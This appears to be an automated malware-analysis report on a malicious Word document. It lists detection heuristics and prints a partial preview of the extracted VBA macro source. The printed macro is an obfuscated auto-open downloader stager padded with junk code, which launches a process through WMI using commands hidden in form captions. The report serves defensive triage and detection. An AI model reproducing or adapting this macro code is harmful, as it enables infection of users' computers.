MALICIOUS
250
Risk Score
Heuristics 8
-
ClamAV: Doc.Downloader.Generic-7349824-0 critical CLAMAV_DETECTIONClamAV detected this file as malware: Doc.Downloader.Generic-7349824-0
-
Malformed OLE auto-open stager with embedded ZIP payload critical OLE_RAW_MALFORMED_AUTOOPEN_STAGERRaw malformed OLE bytes contain an auto-open macro entry, embedded ZIP/theme package bytes, VBA project metadata, and URL/CMD/Shell staging tokens. This is a high-confidence exploit-builder shape where the OLE directory is intentionally malformed, preventing normal VBA extraction while leaving the auto-run stager visible in raw streams.
-
VBA macros detected medium 3 related findings OLE_VBA_MACROSDocument contains VBA macro code
-
CreateObject call high OLE_VBA_CREATEOBJCreateObject callMatched line in script
Set Varvara = CreateObject(Qiszcfbbgj(Qiszcfbbgj(VarvaraA))) -
VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXECTriggers on the COMBINATION of two tokens co-occurring in the same compiled VBA/cache stream: an auto-execution entry point (Auto_Open / AutoOpen / Document_Open / Workbook_Open / Auto_Close / AutoClose) AND a shell/download/object-execution token (Shell, CreateObject, GetObject, PowerShell, cmd.exe, URLDownloadToFile, WinHttp, XMLHTTP, ADODB.Stream, ShellExecute, ExecuteExcel4Macro). Neither token alone fires it — it is the pairing that flags p-code-only or source-extraction-failure macro documents where the visible VBA source is unavailable. The matched tokens are named in the detail line below.
-
AutoOpen macro low OLE_VBA_AUTOOPENAutoOpen macroMatched line in script
Sub autoopen() -
Legacy WordBasic auto-exec macro marker medium OLE_LEGACY_WORDBASIC_AUTOEXECOLE Word document contains a legacy WordBasic auto-execution marker such as AutoOpen, but no modern VBA project was recovered and no stronger macro-virus family marker was present. This is analyst-facing evidence for old Word macro execution surface, not a downloader or parser-CVE attribution by itself.
-
Embedded URL info EMBEDDED_URLOne or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.URL http://schemas.openxmlformats.org/drawingml/2006/main In document text (OLE body)
Extracted artifacts 1
Files carved from inside the sample during analysis.
| Filename | Kind | Source | Size |
|---|---|---|---|
macros.bas |
vba-macro | oletools.olevba.extract_macros (decoded VBA source) | 28076 bytes |
SHA-256: a68d57befb393132ebd74e8a7dfe73e374601791aba9e679a60c3a805076b0a3 |
|||
Preview scriptFirst 1,000 lines of the extracted script
Attribute VB_Name = "Qldtsflxb"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True
Attribute VB_Control = "Ygdwsiphwnkji, 0, 0, MSForms, CommandButton"
Attribute VB_Control = "Zyarbdonx, 1, 1, MSForms, CommandButton"
Attribute VB_Control = "Njpwczjdqjv, 2, 2, MSForms, CommandButton"
Attribute VB_Control = "Exfvoxlwmqey, 3, 3, MSForms, CommandButton"
Attribute VB_Control = "Vpyuyywcxbdh, 4, 4, MSForms, CommandButton"
Attribute VB_Control = "Dgfvwwiycmm, 5, 5, MSForms, CommandButton"
Attribute VB_Control = "Mfamvyqjxagx, 6, 6, MSForms, CommandButton"
Attribute VB_Control = "Fefpiaackoa, 7, 7, MSForms, CommandButton"
Attribute VB_Control = "Bcaxapfiqxkol, 8, 8, MSForms, CommandButton"
Attribute VB_Control = "Zvpmelbosfgtl, 9, 9, MSForms, CommandButton"
Attribute VB_Control = "Mfubihzhgtsow, 10, 10, MSForms, CommandButton"
Attribute VB_Control = "Fcpqpahy, 11, 11, MSForms, CommandButton"
Attribute VB_Control = "Elhuipag, 12, 12, MSForms, CommandButton"
Attribute VB_Control = "Kwcojtif, 13, 13, MSForms, CommandButton"
Attribute VB_Control = "Brchknyk, 14, 14, MSForms, CommandButton"
Attribute VB_Name = "Goofsbvtbyqc"
Function Varvara(VarvaraA)
On Error Resume Next
Rem Table
Hour Atn("Cartwright LLCSuite 188Northwest")
Hehqnksyu = Round(Rtgretwkgmn)
Wnhjysozsiv = 408
Second Lgsxsxrq
Rckzlsytuer = CInt("Hat")
Cizcboyk = Atn("Johns, Conroy and SteuberSuite 583Northeast")
Aiqsitpiz = Fix("Soap")
Photdhtoahmrf = Round("211.12.67.31")
Rem Central13531 Godfrey Fork, Bergeland, Chile
WeekdayName 71
Tvpbhggxjru = Sgn(Zfwrednakix)
Month Int("Hegmann, Franecki and ParisianApt. 136Southeast")
TimeValue Sin("District83091 Lavina River, Champlinfurt, Italy")
Second Tan(Wlxorkdta)
Xiqjkfbigdov = 964
Mbboimsuckvz = "Jerde - JenkinsSuite 767Northeast"
Weekday Jwwzkduv
Month 375
Qfgoabhp = "194.43.161.70"
'Customer17798 Christiansen Landing, Salmamouth, San Marino
Ejbfriadfgnk = CBool(278)
Set Varvara = CreateObject(Qiszcfbbgj(Qiszcfbbgj(VarvaraA)))
Rem 222.16.242.98
Second CDbl("Mozilla/5.0 (Windows NT 6.3; Win64; rv:13.2) Gecko/20100101 Firefox/13.2.7")
Aigigrjszf = CStr(Diikyrcdiw)
Mnxpfcjgwr = 60
DateValue Dysxgqizbpe
Ybwadddjvv = CByte("Corporate42090 Cremin Vista, West Trevahaven, Palau")
Tnxvaplathaz = CLng("District848 Donnelly Underpass, Stoltenbergstad, Saint Pierre and Miquelon")
Sozjxjyggangt = CInt("Hermiston and SonsSuite 500Northwest")
Ficzdmcke = Sgn("Mozilla/5.0 (Windows; U; Windows NT 6.3) AppleWebKit/537.1.0 (KHTML, like Gecko) Chrome/14.0.888.0 Safari/537.1.0")
Rem Lead056 Rhoda Crest, Lake Luciuschester, Guyana
Month 191
Syqrawuf = CInt(Klyjvngxitv)
TimeValue Atn("Smitham and SonsSuite 574Southeast")
MonthName Rnd("Mozilla/5.0 (Windows NT 6.3; Win64; rv:5.0) Gecko/20100101 Firefox/5.0.9")
MonthName Atn(Nyyzbkpdvixr)
Pzqlncpvwep = 611
Vnvgeudcscxtv = "40.237.107.236"
TimeValue Ocasvxrxsi
Weekday 141
Fscujtltqzbt = "Legacy109 Gislason Fields, Ferrytown, Palau"
'71.169.152.221
Nxxtssgegtdxm = Atn(948)
End Function
Function Ktlrwdglz()
On Error Resume Next
Rem Forward90711 Darrell View, Schambergerton, Tunisia
Year Int("Schoen LLCApt. 086South")
Vkssdkquqob = Tan(Yfzjrqxvkenkx)
Lzzgetuqag = 523
Hour Cduiycplnx
Axtlffigfeir = Atn("Customer362 Kristopher Burgs, Abernathyborough, Mayotte")
Aeepydhhusqw = Sgn("35.123.134.24")
Ityocgggz = CInt("213.135.120.12")
Vyddyuctec = Cos("Senior86550 Harris Spur, North Mercedeston, Guernsey")
Rem Mozilla/5.0 (Windows NT 5.3; Win64; rv:5.4) Gecko/20100101 Firefox/5.4.4
TimeValue 955
Yytlsdbvj = Cos(Xmgupjotfvedf)
Weekday CSng("Legacy23235 Arnulfo Walks, Lake Garlandberg, Egypt")
Day Round("Mozilla/5.0 (compatible; MSIE 10.0; Windows NT 5.3; Trident/4.1)")
Year Cos(Wxnckgyl)
Iundynaeyfq = 850
Nkpiemtu = "Shirt"
Day Ohdhhgtyb
Month 794
Goaqghezg = "Corporate1139 Alfredo Parks, Prohaskamouth, Monaco"
'156.91.183.239
Ewasuytygut = Sgn(239)
Rem Mozilla/5.0 (Windows NT 6.2; Trident/7.0; Touch; rv:11.0) like Gecko
Minute Fix("Schulist GroupApt. 268Northeast")
Ikbvebybhq = Log(Lgqbaqkjong)
Tkimkeurbea = 279
DateValue Jvncxcnbscpls
Awuewilrp = CDbl("Mozilla/5.0 (Windows NT 6.0; Win64; rv:15.9) Gecko/20100101 Firefox/15.9.7")
Myyjcpkagovlq = Atn("Mozilla/5.0 (Windows NT 6.3; rv:6.4) Gecko/20100101 Firefox/6.4.3")
Mbhtarnprfj = CBool("111.11.10.67")
Ryeymappdizz = Int("Stracke IncSuite 573Northwest")
Rem Computer
MonthName 670
Kqfkeafwjjwp = Int(Igdttpjijxypo)
Second Sin("Direct0668 Klocko Ferry, Sashamouth, Vanuatu")
Month CDate("207.191.54.19")
Second Rnd(Thtyzdzmve)
Voubxwqhweg = 773
Jbghmplenq = "Pizza"
MonthName Qewjuipw
Day 897
Towasxumobm = "Ball"
'Lead94439 Lockman Fork, East Arely, New Caledonia
Bsejokjiysx = Oct(73)
Rem Nitzsche - StrosinSuite 053Southeast
Hour Int("38.111.100.128")
Qyxvfleee = CInt(Vmlrncuej)
Ntghysorxcx = 239
TimeValue Rluhopymsvndh
Cwkpibkdpx = CDbl("Human300 Merle Lock, Summershire, Congo")
Pnhdygoach = Int("Product66331 Vidal Drive, North Renee, Saint Martin")
Txcvxsermdp = CBool("Mozilla/5.0 (compatible; MSIE 7.0; Windows NT 5.0; Trident/6.0; .NET CLR 3.0.29810.9)")
Hwvghfkbdiyl = Hex("205.255.141.199")
Rem Tillman, Reynolds and RohanSuite 141South
WeekdayName 389
Wsfiukuvlyp = Oct(Tvzmygmqkttvb)
MonthName Sqr("Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 5.2; Trident/7.1; .NET CLR 3.4.83751.6)")
Month Tan("Mozilla/5.0 (Macintosh; U; Intel Mac OS X 10.6.7; rv:9.2) Gecko/20100101 Firefox/9.2.6")
Second CBool(Qpejfdiyguu)
Mlwqbirgdwaeg = 405
Zlnsheevug = "Mozilla/5.0 (Windows; U; Windows NT 5.1) AppleWebKit/536.2.1 (KHTML, like Gecko) Chrome/24.0.807.0 Safari/536.2.1"
Weekday Kwsrdqoeyxdt
MonthName 188
Intdfzewzu = "Mozilla/5.0 (Windows NT 6.1; WOW64; rv:13.8) Gecko/20100101 Firefox/13.8.8"
'224.254.7.166
Ishpbkap = Atn(881)
Rem 94.43.153.187
Day CBool("Keyboard")
Kktbnlqtlkmo = CByte(Xnetzbzazgxm)
Xukwpive = 648
MonthName Emxuyygpahoj
Zfwkkmea = CLng("249.12.73.116")
Vraqywwsgkp = CBool("Dynamic18525 Arnulfo Street, South Moniquehaven, Anguilla")
Ecaaimgl = Cos("Forward5208 Saige Square, Autumntown, Iraq")
Hwkmlutqdohyg = Fix("Regional64768 Rau Turnpike, Erickchester, Lebanon")
Rem Schuster - KihnSuite 730Northwest
DateValue 350
Rdlvdlnmbrh = Sin(Voqehsstnj)
TimeValue Log("Mozilla/5.0 (Windows NT 5.0; WOW64; rv:9.1) Gecko/20100101 Firefox/9.1.9")
Year Oct("Mozilla/5.0 (Windows; U; Windows NT 5.3) AppleWebKit/532.2.0 (KHTML, like Gecko) Chrome/13.0.897.0 Safari/532.2.0")
Hour CStr(Mtlyvfvckriuq)
Ujjvdkhupyd = 77
Fwduaxqrcof = "Hessel - BorerSuite 624Southeast"
Day Hcegwnwfyk
DateValue 609
Hoeyvasoixo = "Miller, Zemlak and GislasonApt. 303Southeast"
'Gloves
Ustvsudkqcf = CLng(811)
Rem Chair
Year Oct("Mozilla/5.0 (Windows; U; Windows NT 5.3) AppleWebKit/536.0.1 (KHTML, like Gecko) Chrome/36.0.819.0 Safari/536.0.1")
Ihvxhabpfpfz = Sqr(Sspfjizfzgzj)
Hnolxeedxsdc = 149
WeekdayName Gleayzob
Hvscipyyc = CSng("Mozilla/5.0 (Windows NT 5.3; Win64; rv:9.8) Gecko/20100101 Firefox/9.8.4")
Sbuchqoux = CDate("Chair")
Ewynczkye = Oct("222.32.91.237")
Jebmbviufauu = Sgn("Product405 Sam Port, New Susie, Papua New Guinea")
Rem Corporate32031 Hackett Streets, Lake Lexietown, Azerbaijan
WeekdayName 350
Jxqizhwdaq = Atn(Unyndedz)
Hour CDbl("77.226.52.170")
Second Tan("Shirt")
Month Round(Bvpslcwgkbk)
Buqexwgdkpxa = 32
Swprortwutgvt = "Global41297 Leslie Drives, Ritchiemouth, Macedonia"
Second Gutruwsnafcm
MonthName 958
Grsqgekukvl = "Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 5.3; Trident/6.0; .NET CLR 3.1.12790.0)"
'Regional26293 Jesus Fords, Malloryshire, Cape Verde
Zxxcdzkdu = Sin(975)
Set Kakupcnqn = Varvara(Qldtsflxb.Dgfvwwiycmm.Caption)
Rem Forward5383 Augustus Bypass, Pollichmouth, Estonia
Hour Sqr("Mozilla/5.0 (compatible; MSIE 7.0; Windows NT 6.0; Trident/3.0; .NET CLR 3.2.77210.4)")
Tuhjqbuaig = Int(Ygspvmpf)
Dflyslxrcd = 236
MonthName Asbeccycfzgdy
Wtnnobkqbxr = Int("Feeney, Purdy and CarrollSuite 604West")
Dqdgnbgaor = Int("Regional64155 Yundt Throughway, Gersonstad, French Polynesia")
Gedezhzqwa = Cos("Future9136 Beier Union, West Mafaldamouth, Kazakhstan")
Qzvqbzgltoz = Cos("Mozilla/5.0 (Windows; U; Windows NT 5.0) AppleWebKit/533.2.0 (KHTML, like Gecko) Chrome/30.0.815.0 Safari/533.2.0")
Rem Mouse
Day 136
Apxvnibdahxgm = CLng(Rsmctnqogpy)
MonthName Log("Table")
DateValue Atn("122.87.170.50")
DateValue Log(Yssfpizrcu)
Vmpsykpxpubb = 937
Ijbqfptqfhos = "228.137.161.103"
Year Dzoxdkxa
Minute 480
Ifjqvdrqiuzpp = "221.193.26.27"
'Mozilla/5.0 (Windows; U; Windows NT 5.3) AppleWebKit/534.0.2 (KHTML, like Gecko) Chrome/28.0.899.0 Safari/534.0.2
Uyfhhdfuluq = Round(921)
Nzprwqagx = Nzprwqagx
Kakupcnqn.ShowWindow = wdXMLNodeLevelRow - 2#
Rem 174.181.71.226
Second Cos("Gloves")
Qincogmrpxtt = Log(Qdryyygpsbpx)
Uzjgatkxamxzd = 127
DateValue Tkiesiipzzw
Pmmrxmxq = CByte("Towels")
Sjktdebzupy = Fix("Product64541 Florian Run, Mayerfurt, El Salvador")
Gtprljjgeej = Tan("225.178.50.142")
Afbrtzfxpuh = Log("209.76.214.107")
Rem Mozilla/5.0 (Windows; U; Windows NT 6.2) AppleWebKit/533.1.1 (KHTML, like Gecko) Chrome/23.0.831.0 Safari/533.1.1
Month 116
Lxzczbqvf = CDate(Vmhegofak)
WeekdayName CBool("Customer7381 Morar Glens, Mayertmouth, Malawi")
Second CStr("Turner LLCSuite 003West")
Day CLng(Vydwztury)
Gxlhcfhs = 201
Htwhsbqbphep = "Future1169 Brekke Circles, Port Caylastad, Germany"
MonthName Byccwboz
Month 846
Fjsymzsswkof = "170.68.103.115"
'Mouse
Gsdpjaxqqkg = CInt(685)
Yisvpfmsys = Qiszcfbbgj(Qiszcfbbgj(Qldtsflxb.Bcaxapfiqxkol.Caption))
Rem Chips
TimeValue CInt("Mouse")
Jqylhxgeel = Atn(Tvciimucmvl)
Cxslxiiygxv = 123
DateValue Rilvlcvupsv
Zesaofxwfa = CInt("238.215.197.212")
Gcoomxgqtulq = CDbl("252.181.182.255")
Jfvmewvlie = Sqr("158.77.252.26")
Jqtsmixce = Sqr("185.227.48.170")
Rem Mozilla/5.0 (Windows; U; Windows NT 6.1) AppleWebKit/532.1.1 (KHTML, like Gecko) Chrome/31.0.836.0 Safari/532.1.1
Second 329
Fcupzresb = Sin(Wsbsvsyvu)
TimeValue CInt("179.148.18.135")
Weekday Rnd("155.162.35.124")
MonthName CByte(Goqxbidtn)
Ypkkgwtelf = 862
Ubrtmfejf = "14.132.142.45"
Hour Wfzbqvphvzmul
TimeValue 906
Lbbqxdjjvw = "Product7808 Lorna Harbor, South Leilani, Cyprus"
'Welch, Hayes and ReynoldsSuite 304South
Qojveatnehu = CByte(26)
Rem Mozilla/5.0 (Windows; U; Windows NT 6.2) AppleWebKit/534.0.2 (KHTML, like Gecko) Chrome/31.0.837.0 Safari/534.0.2
Year CDate("Mozilla/5.0 (Windows NT 6.2; Trident/7.0; rv:11.0) like Gecko")
Rtstwzrbfeb = CDbl(Ncqpremg)
Mysnaubl = 85
Hour Litvvzqdgc
Imcmlltutj = Log("53.212.169.175")
Fvemrgdsvls = Oct("Bacon")
Utrnizfiap = CLng("Sipes IncSuite 938East")
Njqrmqcycq = Sgn("Hane LLCApt. 088South")
Rem Mozilla/5.0 (Windows NT 5.0; WOW64; rv:8.1) Gecko/20100101 Firefox/8.1.0
TimeValue 664
Elzybqwtydrr = CDbl(Kjdiefxbe)
MonthName Int("Mozilla/5.0 (Windows NT 6.1; rv:8.1) Gecko/20100101 Firefox/8.1.1")
TimeValue Cos("172.76.44.115")
DateValue Sgn(Aivqfgetwjx)
Gksmmjryq = 353
Svtluxchc = "Principal4384 Schulist Ports, North Ottilie, Malawi"
Second Hbdsxnyf
Minute 784
Kwcunlovfpk = "Mozilla/5.0 (Windows; U; Windows NT 6.2) AppleWebKit/533.1.2 (KHTML, like Gecko) Chrome/15.0.874.0 Safari/533.1.2"
'Mozilla/5.0 (Windows NT 5.2; WOW64; rv:12.0) Gecko/20100101 Firefox/12.0.0
Xkmszygpxvg = Int(449)
Fdnoujtpoofs = Varvara2("qqsqqswqqsinqqsqqsqqsmqqsqqsgmqqstsqqsqqsqqs:Winqqsqqsqqs32_qqsqqsProqqsqqsqqscesqqsqqsqqssqqsqqs", Yisvpfmsys, Kakupcnqn)
Rem 200.163.89.79
DateValue Sqr("Legacy824 Garth Wall, Daphneebury, Montenegro")
Vytkbfuqy = CDbl(Qowcbsoybg)
Agtbmqlsiqtit = 48
Hour Wqeulmtdss
Zgtsbuzsehe = Int("Fish")
Mpaavoiz = CBool("Mozilla/5.0 (Macintosh; U; Intel Mac OS X 10_10_2) AppleWebKit/531.1.0 (KHTML, like Gecko) Chrome/32.0.856.0 Safari/531.1.0")
Hwlpmhcbiecm = CDate("Mozilla/5.0 (Windows; U; Windows NT 6.2) AppleWebKit/534.2.1 (KHTML, like Gecko) Chrome/25.0.843.0 Safari/534.2.1")
Xsnujhomxuy = Sgn("56.162.8.177")
Rem 63.101.221.197
DateValue 541
Dweznsnlwpen = Sqr(Gwcxadkd)
Weekday CBool("Bacon")
Hour Tan("National134 Javon Glen, West Julien, Indonesia")
Month CLng(Nqzduzqq)
Zedfouydbci = 476
Fhquxytiztdlx = "Treutel - BradtkeApt. 759Northwest"
Hour Rxyoyxccsx
Minute 154
Fgcargrtw = "127.24.198.249"
'95.25.53.62
Trvfzkatr = Round(162)
Rem 221.32.117.13
MonthName Cos("Willms LLCSuite 801Northwest")
Wijzywoaad = CLng(Dqvmwasgo)
Qhjivcuahvqdq = 477
Minute Yjvamdbrlglma
Iwsksspnsxf = Rnd("Labadie and SonsApt. 981East")
Kmnfjxciln = CLng("Investor8902 Robert Creek, East Westleyton, Malta")
Pqxcjpumsmul = Oct("Keyboard")
Giwcchasgz = Rnd("Pizza")
Rem Central6314 Freddy Fort, Ricefurt, Bangladesh
DateValue 951
Dclfxibpd = CStr(Lihkrqyrczzq)
Weekday Sqr("Customer12916 Sanford Mountain, Lianashire, Vietnam")
Minute Hex("Cheese")
Hour Sqr(Jkjtwjyidm)
Mpljqger = 305
Vwjchhqhdmst = "Corporate68288 Hillary Manor, Nicolasfurt, Suriname"
MonthName Rvgsscfusqdjf
TimeValue 521
Slbbppmku = "Kassulke IncSuite 294Southeast"
'Soap
Rvjghtbnsva = Int(17)
End Function
Function Varvara2(VarvaraA21, VarvaraA22, VarvaraA23)
On Error Resume Next
Rem Fish
Hour Atn("Hudson and SonsSuite 667West")
Dfxzzphf = Sgn(Vkgedehlq)
Ilfpdlrimwlhp = 827
MonthName Awugllafw
Bpcwbwndu = Sqr("111.88.9.129")
Jweqwzkkcrhv = Sgn("Pants")
Rjenhgimyj = Hex("Bode - GoodwinApt. 496East")
Puoulcnim = Int("Gutmann - GorczanyApt. 244Northwest")
Rem Mozilla/5.0 (Windows NT 5.1; rv:7.6) Gecko/20100101 Firefox/7.6.5
Weekday 287
Uobvmanu = Hex(Kkmipnojxxuoq)
MonthName Rnd("Ball")
Weekday Rnd("137.44.49.143")
WeekdayName Oct(Vifehwzthjz)
Wlloiifkcm = 754
Zzoahgxrfrr = "Gulgowski GroupSuite 054Southwest"
TimeValue Mblreyqgdml
WeekdayName 747
Gheeswjoi = "Chicken"
'3.208.249.142
Szdbpfftdy = Oct(925)
Set VarvaraA211 = Varvara(VarvaraA21)
Rem 173.21.27.57
DateValue Atn("Table")
Couzteltwsqb = Cos(Nnexzdnwbod)
Zykaamzpcd = 128
MonthName Ajvsjzcxgie
Udffngwjtlvm = CByte("Bike")
Pqxlkyhyure = Atn("Ball")
Aneruvggiuk = Sin("Chicken")
Jghxafrknhixu = Log("Customer999 Ryan Loop, Sauerview, Mozambique")
Rem Adams - KossSuite 189Northwest
Second 954
Vjoavrwwot = CInt(Kigvnvmparw)
TimeValue CSng("Pfeffer and SonsSuite 040East")
MonthName Log("10.26.240.237")
MonthName CDate(Aemfvuzftkygj)
Mksezohbg = 859
Biamenxbumjq = "Human0497 Terry Grove, North Kaileeshire, France"
Hour Blrxipeafcpys
MonthName 630
Tdfuasrfhg = "Mozilla/5.0 (Windows; U; Windows NT 5.3) AppleWebKit/535.0.1 (KHTML, like Gecko) Chrome/24.0.895.0 Safari/535.0.1"
'Central878 Zboncak Street, Myahmouth, Guernsey
Hztctzeydq = Rnd(38)
Varvara2 = VarvaraA211.Create(VarvaraA22, Ybfahklm, VarvaraA23, Cexldyvuv)
Rem Global353 Kuvalis Run, North Colinside, Macedonia
Second Int("Mozilla/5.0 (Windows; U; Windows NT 5.2) AppleWebKit/535.1.2 (KHTML, like Gecko) Chrome/25.0.865.0 Safari/535.1.2")
Gcbbysqe = Hex(Oehqryjkuinfa)
Zyhtzhvw = 889
Month Xpwborkbbus
Ywoowxqaczaz = Int("Cassin - KubApt. 831North")
Lkpsivcujn = Atn("Mozilla/5.0 (Windows; U; Windows NT 5.2) AppleWebKit/536.0.2 (KHTML, like Gecko) Chrome/34.0.822.0 Safari/536.0.2")
Rddygijgj = Tan("Chair")
Szzvmupvcu = CByte("Mozilla/5.0 (Windows; U; Windows NT 5.1) AppleWebKit/531.2.2 (KHTML, like Gecko) Chrome/25.0.893.0 Safari/531.2.2")
Rem Streich GroupSuite 601South
TimeValue 782
Rlckuoemafqfm = CSng(Trpnznzx)
Day CDbl("158.4.151.129")
DateValue Rnd("Mozilla/5.0 (Windows; U; Windows NT 5.1) AppleWebKit/531.2.1 (KHTML, like Gecko) Chrome/29.0.844.0 Safari/531.2.1")
TimeValue CDbl(Aqzurgljem)
Yorekjni = 725
Qqwemhilso = "Human583 Eladio Hill, Lake Hillary, Iran"
WeekdayName Uyesjzfv
Month 17
Qotbvvdpjk = "Mozilla/5.0 (Windows NT 6.0; rv:9.9) Gecko/20100101 Firefox/9.9.0"
'Chair
Zjxntdbtuzv = Oct(706)
End Function
Attribute VB_Name = "Wcmekoclcd"
Function Zhdtypwxjl()
On Error Resume Next
Rem Tuna
WeekdayName Round("116.109.243.51")
Tiydgapba = Cos(Bnlwddhikwl)
Zjbhdzlrt = 621
Hour Lsywgceyzvrs
Pbvtgmhtt = CDate("34.97.148.159")
Yixazyibtllel = Int("Mozilla/5.0 (Windows; U; Windows NT 5.0) AppleWebKit/531.0.1 (KHTML, like Gecko) Chrome/33.0.800.0 Safari/531.0.1")
Smpihrgzo = Atn("18.246.32.90")
Ynzkrzuzhug = Cos("164.203.85.48")
Rem Lead247 Zulauf Burg, South Reymundoberg, Jersey
Minute 67
Wjqbwexj = Log(Uvdkvfriicjau)
DateValue Atn("Feil - HansenApt. 095North")
Month CLng("Waters GroupSuite 732South")
Day Atn(Tljmunlop)
Bfdkaghoepooy = 620
Lyvqwontcsn = "207.162.158.3"
Day Ljgnyxemeyccs
Month 118
Sfxkrfbnsypkn = "Tillman GroupSuite 028Northwest"
'Cheese
Smimdvia = CSng(259)
Rem Regional801 Murazik Key, Hicklefurt, Algeria
Year Sin("Product242 Deondre Viaduct, Durganberg, Guam")
Kjcouatbzrtv = CLng(Xltniqygeq)
Hfhmdkycn = 978
TimeValue Cxnzcoxotm
Gwlaptefli = CByte("International8282 Pascale Divide, Lake Camdenshire, Gibraltar")
Ounnjxpycbrq = Round("Nolan GroupApt. 305North")
Wrhcnvutbps = Sin("Mozilla/5.0 (Windows; U; Windows NT 5.0) AppleWebKit/538.2.1 (KHTML, like Gecko) Chrome/37.0.872.0 Safari/538.2.1")
Jiqytkuli = Tan("Hat")
Rem Prosacco LLCSuite 692Southeast
WeekdayName 688
Fvwojeevez = Cos(Xjvryvsxvz)
Weekday CDbl("Cheese")
Second Sgn("Central925 Braun Walk, Willside, Eritrea")
Month CStr(Pmdxfaenq)
Ryfjxkweimwso = 60
Wqpdnfgqzxah = "23.58.8.236"
Hour Ujwametsl
Hour 749
Zugutupame = "Bacon"
'Product282 Greenholt Gardens, McCulloughside, Togo
Mjrlhgmwdfaod = Log(990)
End Function
Sub autoopen()
On Error Resume Next
Rem Car
Minute Rnd("Central89506 Mosciski Summit, Russelfurt, American Samoa")
Mpmlrujyeahgy = Atn(Gnbqcgoi)
Laljahrsoeqkw = 186
MonthName Yghaptsqtcbsy
Yhxogtypetpn = Log("Soap")
Mvqztezgh = Oct("Gloves")
Tjshyotn = CBool("Dynamic82442 Larson Street, Blanchestad, Nepal")
Jmhwczrdh = Oct("Turner and SonsSuite 964North")
Rem Hoppe, Schmeler and SmithamApt. 355Southeast
Hour 109
Ilgglteat = Int(Ymmjfhfevaoyc)
Year CBool("165.121.236.43")
WeekdayName CStr("Mozilla/5.0 (Windows NT 6.2; Trident/7.0; Touch; rv:11.0) like Gecko")
Year Hex(Crfidazwky)
Nvpnbokn = 704
Stjycdftne = "Product4998 Dickinson Light, North Maidafurt, Dominican Republic"
Day Qmuloyzp
MonthName 609
Ugrjgnnjsv = "Chicken"
'Legros LLCSuite 799Southeast
Ylyeyvrrkgel = Rnd(12)
Rem Shirt
Month CSng("Senior446 Ernest Skyway, East Marianne, Ethiopia")
Wxrmugxzus = Rnd(Xomusvwxol)
Xrdcdkphnvsl = 371
Year Qekyktcq
Knckykxkx = CBool("Mozilla/5.0 (Windows; U; Windows NT 6.1) AppleWebKit/533.0.1 (KHTML, like Gecko) Chrome/34.0.898.0 Safari/533.0.1")
Cdvvkdsxbwb = CBool("Bacon")
Ermqbgqgbxs = CBool("Dynamic5335 Ernser Manors, North Paige, Saint Martin")
Eicyhnmpo = CBool("Towels")
Rem Mozilla/5.0 (compatible; MSIE 10.0; Windows NT 6.0; Trident/4.0)
Weekday 451
Capktpjjdof = CLng(Hjriibgdfbyju)
Hour Oct("Hayes, Hermann and MullerSuite 524Northeast")
Second Tan("Senger IncSuite 812Southwest")
Month Sqr(Oxzqrxnarfn)
Imtzberxwdg = 133
Mwyqaymtvgpp = "Computer"
DateValue Tjzduqsu
Second 891
Ziqlrrusd = "255.227.36.255"
'Car
Qbafpyunfe = Oct(571)
Ktlrwdglz
Rem 148.156.124.194
Weekday CInt("Hat")
Sezuuyszbogyz = CSng(Llrcbptrpel)
Imyqupisvre = 262
Hour Sclrrwhvmhots
Mkqjscrpqqdjz = CSng("Chicken")
Umtcxrgxmoy = Tan("Mozilla/5.0 (Macintosh; Intel Mac OS X 10_6_8) AppleWebKit/535.1.1 (KHTML, like Gecko) Chrome/36.0.877.0 Safari/535.1.1")
Ejxbikflavqw = Round("Mozilla/5.0 (Windows NT 6.2; Win64; rv:5.6) Gecko/20100101 Firefox/5.6.0")
Ubonixwnbz = Hex("Wiegand, Kautzer and MrazSuite 218Southwest")
Rem Rutherford IncApt. 877West
TimeValue 342
Hfmeuuhvlg = CBool(Bprftrdf)
TimeValue CLng("Grimes and SonsSuite 384North")
Year CInt("Mozilla/5.0 (Windows; U; Windows NT 5.2) AppleWebKit/537.0.0 (KHTML, like Gecko) Chrome/36.0.892.0 Safari/537.0.0")
Second CSng(Lwybqwzri)
Zdaywbvpfb = 634
Mlsgqtkwl = "Lead45490 Abernathy Ford, Langshire, Greece"
MonthName Tpgselvt
Year 324
Qcmrgwphqrdx = "Green GroupSuite 303North"
'Lead6211 Emilie Stravenue, Lake Brenna, Liberia
Pxqixxbzma = Rnd(676)
Rem Mozilla/5.0 (Windows NT 6.1; Win64; rv:5.9) Gecko/20100101 Firefox/5.9.9
MonthName Rnd("Future19596 Ruecker Brook, Denniston, Guinea-Bissau")
Jzqjcfdkjtiml = Sqr(Mjomwdxxfthtq)
Pkrvlevgluf = 35
Weekday Utqluucmkwpv
Lqulnbtd = Fix("Mozilla/5.0 (Windows; U; Windows NT 6.2) AppleWebKit/536.2.2 (KHTML, like Gecko) Chrome/17.0.816.0 Safari/536.2.2")
Qkuqcdrrycdm = Atn("Dynamic0417 Mohr Land, Lake Reginaldfort, Australia")
Zvhdfncaybkqr = CDbl("Crist - DoyleSuite 416East")
Dbqvvvkaljge = Cos("Mozilla/5.0 (Windows NT 5.1; rv:14.7) Gecko/20100101 Firefox/14.7.2")
Rem Mozilla/5.0 (compatible; MSIE 7.0; Windows NT 5.3; Trident/5.0)
Year 654
Jzznymrtpyksp = CInt(Fmmizvbmqhao)
Day CInt("Direct53361 Kassandra Street, Murrayland, Puerto Rico")
MonthName CLng("Lead6830 Armstrong River, New Cody, Qatar")
Day CStr(Uziddoclcsxa)
Skcfyhgwuw = 454
Imigxxwy = "Mozilla/5.0 (compatible; MSIE 7.0; Windows NT 6.3; Trident/5.1; .NET CLR 2.6.93560.2)"
TimeValue Bomxqujtlzmpu
Weekday 501
Uqnpxemfd = "Towels"
'103.134.229.143
Cwvzekqsint = Sin(37)
End Sub
Function Qiszcfbbgj(Mgvtcwnvtah)
On Error Resume Next
Rem Mozilla/5.0 (Windows NT 6.1; Trident/7.0; rv:11.0) like Gecko
Month CByte("Terry - HagenesSuite 408South")
Gilabbeuh = Tan(Qakuhhearf)
Hwfgjomb = 218
MonthName Mexbpncojv
